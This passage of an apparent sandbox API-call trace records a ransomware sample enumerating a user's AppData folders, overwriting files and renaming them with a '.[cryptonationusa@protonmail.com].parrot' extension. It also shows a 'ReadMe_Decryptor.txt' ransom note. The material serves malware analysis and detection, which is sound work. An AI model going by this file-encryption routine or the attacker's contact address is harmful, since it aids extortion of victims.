lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.559] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0076.559] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aac00 | out: hHeap=0x5b0000) returned 1 [0076.559] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1 [0076.559] lstrcmpW (lpString1="Last Active", lpString2=".") returned 1 [0076.560] lstrcmpW (lpString1="Last Active", lpString2="..") returned 1 [0076.560] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.562] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.562] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="RECOVE~2.DAT")) returned 1 [0076.562] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.563] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.564] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.564] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0076.564] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.565] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aea78 | out: hHeap=0x5b0000) returned 1 [0076.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179e78 | out: hHeap=0x5b0000) returned 1 [0076.567] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.567] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.568] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.569] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0076.569] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.570] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aea78 | out: hHeap=0x5b0000) returned 1 [0076.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317a0a0 | out: hHeap=0x5b0000) returned 1 [0076.574] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.575] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.576] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.576] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0076.577] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.577] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0076.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317a0a0 | out: hHeap=0x5b0000) returned 1 [0076.582] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.582] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.584] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.584] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0076.585] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.585] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0076.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317a0a0 | out: hHeap=0x5b0000) returned 1 [0076.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.588] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbb21ee20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb21ee20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.588] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb1f8cc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xbb1f8cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb21ee20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0076.589] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.589] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.590] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1 [0076.590] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbb21ee20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb21ee20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1 [0076.590] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbb21ee20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb21ee20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0 [0076.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aab48 | out: hHeap=0x5b0000) returned 1 [0076.590] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aaa90 | out: hHeap=0x5b0000) returned 1 [0076.591] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0 [0076.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.591] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb1d2b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb1d2b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.591] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbb1868a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x30c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BRNDLO~1.PAR")) returned 1 [0076.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.593] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.593] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0076.593] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.593] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.601] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.601] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0076.671] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.671] WriteFile (in: hFile=0x26c, lpBuffer=0x6a8930*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a8930*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0076.672] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.672] WriteFile (in: hFile=0x26c, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0076.675] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x105118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.675] CloseHandle (hObject=0x26c) returned 1 [0076.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6aca90 [0076.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x6aedf8 [0076.683] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0076.683] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aedf8 | out: hHeap=0x5b0000) returned 1 [0076.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8930 | out: hHeap=0x5b0000) returned 1 [0076.724] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.724] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.726] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.726] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1106c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x1106c, lpOverlapped=0x0) returned 1 [0076.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.732] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.732] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.732] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.734] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.738] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.738] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, 